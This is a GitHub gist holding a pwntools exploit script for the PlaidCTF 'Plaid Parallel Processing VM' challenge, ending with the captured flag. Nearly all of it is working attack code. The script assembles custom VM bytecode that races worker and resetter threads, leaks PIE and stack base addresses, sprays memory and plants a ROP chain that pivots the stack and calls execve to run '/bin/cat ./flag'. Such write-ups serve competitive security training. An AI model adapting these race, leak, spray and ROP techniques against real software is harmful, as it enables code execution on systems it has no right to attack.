Created
April 14, 2024 21:25
-
-
Save sampritipanda/8747f96c9367543ba7ba4591497f4f11 to your computer and use it in GitHub Desktop.
Plaid Parallel Processing VM
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
CODE_SIZE = 0x4000 | |
OP_NOP = 0x00 | |
OP_PUSH = 0x01 | |
OP_POP = 0x02 | |
OP_DUP = 0x03 | |
OP_SWAP = 0x04 | |
OP_ADD = 0x10 | |
OP_SUB = 0x11 | |
OP_MUL = 0x12 | |
OP_DIV = 0x13 | |
OP_MOD = 0x14 | |
OP_EQ = 0x20 | |
OP_LT = 0x21 | |
OP_GT = 0x22 | |
OP_ISZERO = 0x23 | |
OP_JMP = 0x30 | |
OP_JUMPIF = 0x31 | |
OP_JMPREL = 0x32 | |
OP_JMPRELIF = 0x33 | |
OP_RET = 0x80 | |
OP_ERR = 0x81 | |
OP_SLEEP = 0x82 | |
OP_DUMP = 0x83 | |
OP_ID = 0xf0 | |
OP_RECV = 0xf1 | |
OP_SEND = 0xf2 | |
OP_DELETE = 0xf3 | |
OP_LAUNCH = 0xfd | |
OP_RESET = 0xfe | |
OP_JOIN = 0xff | |
# 1 byte | |
def op(op): | |
return [op] | |
# 9 bytes | |
def push_to_stack(v): | |
res = [OP_PUSH] | |
res += list(p64(v)) | |
return res | |
# 9 + 1 = 10 bytes | |
def op_1(op, v1): | |
res = [] | |
res += push_to_stack(v1) | |
res += [op] | |
return res | |
# 9 + 9 + 1 = 19 bytes | |
def op_2(op, v1, v2): | |
res = [] | |
res += push_to_stack(v2) | |
res += push_to_stack(v1) | |
res += [op] | |
return res | |
# Thread 1 - 0 - 0x800 Main | |
# Thread 2 - 0x800 - 0x1000 Joiner | |
# Thread 3 - 0x1000 - 0x1800 Launcher | |
# Thread 4 - 0x1800 - 0x2000 Worker | |
# Thread 5 - 0x2000 - 0x2800 Worker Reset | |
thread_offsets = [None, 0, 0x800, 0x1000, 0x1800, 0x2000, 0x2800] | |
thread_sizes = [None, 0x800, 0x800, 0x800, 0x800, 0x800, 0x800] | |
thread_data = [None, [], [], [], [], [], []] | |
#==============================Main Thread (1)================================ | |
main = thread_data[1] | |
main += op_2(OP_LAUNCH, thread_offsets[2], CODE_SIZE) | |
main += op_2(OP_LAUNCH, thread_offsets[3], CODE_SIZE) | |
main += op_1(OP_SLEEP, 100000000) | |
#============================================================================== | |
#==============================Joiner Thread (2)============================== | |
# Joiner Thread | |
joiner = thread_data[2] | |
# Wait for msg from current worker thread | |
joiner += [OP_RECV] | |
### stack: [41, 1, worker_tid] | |
# Notify worker thread that we're starting | |
joiner += [OP_DUP, 0] | |
### stack: [41, 1, worker_tid, worker_tid] | |
joiner += push_to_stack(1) | |
joiner += push_to_stack(100) | |
### stack: [41, 1, worker_tid, worker_tid, 1, 1] | |
joiner += [OP_SWAP, 2] | |
### stack: [41, 1, worker_tid, 1, 1, worker_tid] | |
joiner += [OP_SEND] | |
### stack: [41, 1, worker_tid, 1] | |
joiner += [OP_POP] | |
joiner += [OP_SWAP, 2] | |
### stack: [worker_tid, 1, 41] | |
joiner += [OP_POP] | |
joiner += [OP_POP] | |
### stack: [worker_tid] | |
joiner += [OP_JOIN] | |
### stack failure: [41, 1, 0] | |
### stack success: [<random>, <steps>, 0] | |
joiner += [OP_POP] | |
joiner += [OP_POP] | |
joiner += push_to_stack(41) | |
joiner += [OP_EQ] | |
joiner += [OP_ISZERO] | |
## skip past failure if not equal | |
joiner += [OP_JMPRELIF, 39 + 3, 0] | |
## failure begin: | |
## Send notification to launcher that we failed. | |
### stack failure: [] | |
joiner += push_to_stack(0) # 9 bytes | |
joiner += op_2(OP_SEND, 3, 1) # 19 bytes | |
joiner += [OP_POP] # 1 byte | |
joiner += op_1(OP_JMP, 0) # 10 bytes | |
## failure end (total = 39 bytes) | |
## index[10] = PIE leak | |
## index[5] = stack base | |
joiner += [OP_DUP, (12 - 10)] | |
joiner += push_to_stack(0xdd5b8) | |
joiner += [OP_SWAP, 1] | |
joiner += [OP_SUB] | |
joiner += [OP_DUP, (12 + 1- 5)] | |
joiner += push_to_stack(0x1000) | |
joiner += [OP_ADD] | |
## Launch some spray threads: | |
joiner += push_to_stack(8192 * 4) # spray count | |
### stack: [..., pie_base, stack_base, spray_count] | |
## Begin spray loop | |
loop_marker = len(joiner) | |
joiner += op_2(OP_LAUNCH, thread_offsets[6] - thread_offsets[2], CODE_SIZE - thread_offsets[2]) | |
## Send PIE base to the thread | |
joiner += [OP_DUP, 0] | |
### stack: [..., pie_base, stack_base, spray_count, spray_tid, spray_tid] | |
joiner += push_to_stack(4) | |
joiner += [OP_SWAP, 1] | |
### stack: [..., pie_base, stack_base, spray_count, spray_tid, 4, spray_tid] | |
joiner += [OP_SEND] | |
### stack: [..., pie_base, stack_base, spray_count, spray_tid] | |
joiner += [OP_DELETE] | |
### stack: [..., pie_base, stack_base, spray_count] | |
joiner += push_to_stack(1) | |
joiner += [OP_SWAP, 1] | |
joiner += [OP_SUB] | |
joiner += [OP_DUP, 0] | |
joiner += [OP_ISZERO] | |
### stack: [..., pie_base, stack_base, spray_count, spray_count == 0] | |
joiner += [OP_JMPRELIF, (10 + 3), 0] | |
### begin if cond | |
joiner += op_1(OP_JMP, loop_marker) # 10 bytes | |
### end if cond (total = 10 bytes) | |
joiner += [OP_POP] | |
## End spray loop | |
## wait for spray threads to finish | |
joiner += op_1(OP_SLEEP, 100) | |
### stack: [..., pie_base, stack_base] | |
## overwrite status (index 10) | |
joiner += [OP_DUP, 0] | |
joiner += push_to_stack(0x8) | |
joiner += [OP_SWAP, 1] | |
joiner += [OP_SUB] | |
joiner += [OP_SWAP, 12 + 3 - 10] | |
joiner += [OP_POP] | |
## overwrite data (index 11) | |
joiner += [OP_DUP, 0] | |
joiner += push_to_stack(0x30) | |
joiner += [OP_SWAP, 1] | |
joiner += [OP_SUB] | |
joiner += [OP_SWAP, 12 + 3 - 11] | |
joiner += [OP_POP] | |
## Send notification to launcher that we succeeded and we want to trigger. | |
joiner += push_to_stack(1) | |
joiner += op_2(OP_SEND, 3, 1) | |
joiner += [OP_POP] | |
#joiner += [OP_DUMP] | |
joiner += op_1(OP_SLEEP, 1000000) | |
#============================================================================== | |
""" | |
Launch Worker | |
Launch Resetter | |
Worker notifies Joiner after Reset | |
Joiner notifies Worker and JOINs | |
Race Success: result (data = thread*, len = <steps>, capacity = large number) | |
Race Failure: result (data = [41], len = 1, capacity = 256) | |
Joiner notifies Launcher if it's over | |
""" | |
#==============================Launcher Thread (3)============================== | |
launcher = thread_data[3] | |
launcher += op_2(OP_LAUNCH, thread_offsets[4] - thread_offsets[3], CODE_SIZE - thread_offsets[3]) | |
launcher += op_2(OP_LAUNCH, thread_offsets[5] - thread_offsets[3], CODE_SIZE - thread_offsets[3]) | |
launcher += [OP_DUP, 1] | |
launcher += [OP_DUP, 1] | |
### stack: [worker_tid, worker_reset_tid, worker_tid, worker_reset_tid] | |
## Send worker thread id to worker resetter | |
launcher += push_to_stack(1) | |
launcher += [OP_SWAP, 1] | |
### stack: [worker_tid, worker_reset_tid, worker_tid, 1, worker_reset_tid] | |
launcher += [OP_SEND] | |
### stack: [worker_tid, worker_reset_tid, worker_tid] | |
## Send worker resetter id to worker thread | |
launcher += push_to_stack(1) | |
launcher += [OP_SWAP, 1] | |
### stack: [worker_tid, worker_reset_tid, 1, worker_tid] | |
launcher += [OP_SEND] | |
### stack: [worker_tid, worker_reset_tid] | |
## Wait for response from joiner thread. | |
launcher += [OP_RECV] | |
### stack: [worker_tid, worker_reset_tid, 0/1, 1, 2] | |
launcher += [OP_POP] | |
launcher += [OP_POP] | |
### stack: [worker_tid, worker_reset_tid, success?] | |
launcher += [OP_JMPRELIF, 12 + 3, 0] | |
## failure start | |
# Remove the worker threads | |
launcher += [OP_DELETE] # 1 byte | |
launcher += [OP_DELETE] # 1 byte | |
# Wait for threads to die | |
# launcher += op_1(OP_SLEEP, 5) | |
launcher += op_1(OP_JMP, 0) # 10 bytes | |
## failure end (total = 12 bytes) | |
## send reset to worker to trigger bug | |
### stack: [worker_tid, worker_reset_tid] | |
launcher += [OP_DUP, 1] | |
launcher += [OP_RESET] | |
launcher += op_1(OP_SLEEP, 1000000000) | |
#============================================================================== | |
#==============================Worker Thread =============================== | |
worker = thread_data[4] | |
worker += push_to_stack(41) | |
worker += [OP_RECV] | |
## stack [41, worker_reset_tid, 1, 3] | |
worker += [OP_SWAP, 2] | |
## stack [41, 3, 1, worker_reset_tid] | |
## Notify worker resetter that I'm about to error. | |
worker += [OP_SEND] | |
## stack [41, 3] | |
worker += [OP_POP] | |
worker += [OP_ERR] | |
## For padding the steps variable | |
for i in range(4): | |
worker += [OP_NOP] | |
## Send signal to joiner thread that we are ready | |
worker += op_2(OP_SEND, 2, 1) | |
## Wait for signal from joiner thread. | |
worker += op(OP_RECV) | |
### stack: [41, 100, 1, 2] | |
worker += [OP_POP] | |
worker += [OP_POP] | |
worker += [OP_POP] | |
### stack: [41] | |
worker += op_1(OP_SLEEP, 5) | |
worker += op_1(OP_RET, 1) | |
#============================================================================== | |
#==============================Worker Reset Thread ========================= | |
worker_reset = thread_data[5] | |
## Receive worker_tid from launcher thread | |
worker_reset += [OP_RECV] | |
worker_reset += [OP_POP] | |
worker_reset += [OP_POP] | |
### stack: [worker_tid] | |
## Receive ready signal from worker thread | |
worker_reset += [OP_RECV] | |
### stack: [worker_tid, 3, 1, worker_tid] | |
worker_reset += [OP_RESET] | |
worker_reset += [OP_RET] | |
#============================================================================== | |
def push_relative(array, base_pos, value): | |
array += [OP_DUP, base_pos] | |
array += push_to_stack(value) | |
array += [OP_ADD] | |
#==============================Spray Thread =============================== | |
spray = thread_data[6] | |
spray += [OP_RECV] | |
### stack: [pie_base, stack_base, spray_count, spray_tid, 4, 2] | |
spray += [OP_POP] | |
spray += [OP_POP] | |
spray += [OP_POP] | |
spray += [OP_POP] | |
### stack: [pie_base, stack_base, ] | |
pos = 1 | |
# lea rbx, [rax + 0x40]; mov qword ptr [rsp + 0x58], rbx; | |
# mov rdx, qword ptr [rdx + 0xf8]; mov rax, rcx; call rdx; vvvv | |
push_relative(spray, pos, 0x00000000007a7d2); pos += 1 # rax + 0x40, rbx | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0x48 # pop rbx; ret | |
spray += push_to_stack(u64(b"/bin/cat")); pos += 1 # rax + 0x50 | |
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0x58 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret | |
push_relative(spray, pos, 0x00000000001486c0); pos += 1 # rax + 0x60 | |
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0x68 # mov QWORD PTR [rcx],rbx; ret | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0x70 # pop rbx; ret | |
spray += push_to_stack(u64(b"\x00./flag\x00")); pos += 1 # rax + 0x78 | |
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0x80 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret | |
push_relative(spray, pos, 0x00000000001486c8); pos += 1 # rax + 0x88 | |
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0x90 # mov QWORD PTR [rcx],rbx; ret | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0x98 # pop rbx; ret | |
push_relative(spray, pos, 0x00000000001486c0); pos += 1 # rax + 0xa0 # pointer to prog string | |
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0xa8 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret | |
push_relative(spray, pos, 0x00000000001486d0); pos += 1 # rax + 0xb0 | |
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0xb8 # mov QWORD PTR [rcx],rbx; ret | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xc0 # pop rbx; ret | |
push_relative(spray, pos, 0x00000000001486c9); pos += 1 # rax + 0xc8 # pointer to path string | |
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0xd0 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret | |
push_relative(spray, pos, 0x00000000001486d8); pos += 1 # rax + 0xd8 | |
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0xe0 # mov QWORD PTR [rcx],rbx; ret | |
push_relative(spray, pos, 0x000000000007e39e); pos += 1 # rax + 0xe8 # ret | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xf0 # pop rbx; ret | |
# 0x00000000005f0e0 : mov rsp, rbx ; pop rbp ; ret | |
push_relative(spray, pos, 0x5f0e0); pos += 1 # rax + 0xf8, rdx | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xc0 # pop rbx; ret | |
spray += push_to_stack(0); pos += 1 # rax + 0xc8 # pointer to path string | |
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0xd0 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret | |
push_relative(spray, pos, 0x00000000001486e0); pos += 1 # rax + 0xd8 | |
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0xe0 # mov QWORD PTR [rcx],rbx; ret | |
push_relative(spray, pos, 0x000000000007e39d); pos += 1 # rax + 0x98 # pop rsi; ret | |
push_relative(spray, pos, 0x00000000001486d0); pos += 1 # rax + 0xa0 | |
push_relative(spray, pos, 0x000000000007abda); pos += 1 # rax + 0xa8 # pop rdx; ret | |
push_relative(spray, pos, 0x00000000001486e0); pos += 1 # rax + 0xb0 | |
push_relative(spray, pos, 0x0000000000004472); pos += 1 # rax + 0xb8 # pop rax; pop rbp; ret | |
spray += push_to_stack(0x000000000000003b); pos += 1 # rax + 0xc0 | |
spray += push_to_stack(0xdeadbeefdeadbeef); pos += 1 # rax + 0xc8 | |
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xd0 # 0x000000000043dbc1: pop rbx; ret; | |
push_relative(spray, pos, 0x00000000001486c0); pos += 1 # rax + 0xd8 | |
push_relative(spray, pos, 0x0000000000003149); pos += 1 # rax + 0xe0 # 0x0000000000403149: mov rdi, rbx; syscall; | |
spray += push_to_stack(0x36003a7651f25bbd); pos += 1 | |
spray += push_to_stack(2) | |
spray += [OP_MUL] | |
spray += push_to_stack(0xf1f2f3f4f5f6f7f8); pos += 1 | |
assert (pos + 1) <= 256 | |
while (pos + 1) < 256: | |
spray += [OP_DUP, 0] | |
pos += 1 | |
# spray += [OP_DUMP] | |
#spray += op_1(OP_RET, 0) | |
spray += op_1(OP_SLEEP, 100000000) | |
#============================================================================== | |
assert len(thread_offsets) == len(thread_sizes) | |
assert len(thread_offsets) == len(thread_data) | |
res = b"" | |
for i in range(1, len(thread_offsets)): | |
cur = thread_data[i][:] | |
assert len(cur) <= thread_sizes[i] | |
cur += [OP_NOP] * (thread_sizes[i] - len(cur)) | |
res += bytes(cur) | |
assert len(res) <= CODE_SIZE | |
res += bytes([OP_NOP]) * (CODE_SIZE - len(res)) | |
with open("program", "wb") as f: | |
f.write(res) | |
p = process("./exec") | |
p.send(res) | |
p.interactive() | |
# pctf{1n_ru5t_w3_trusT_477632} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment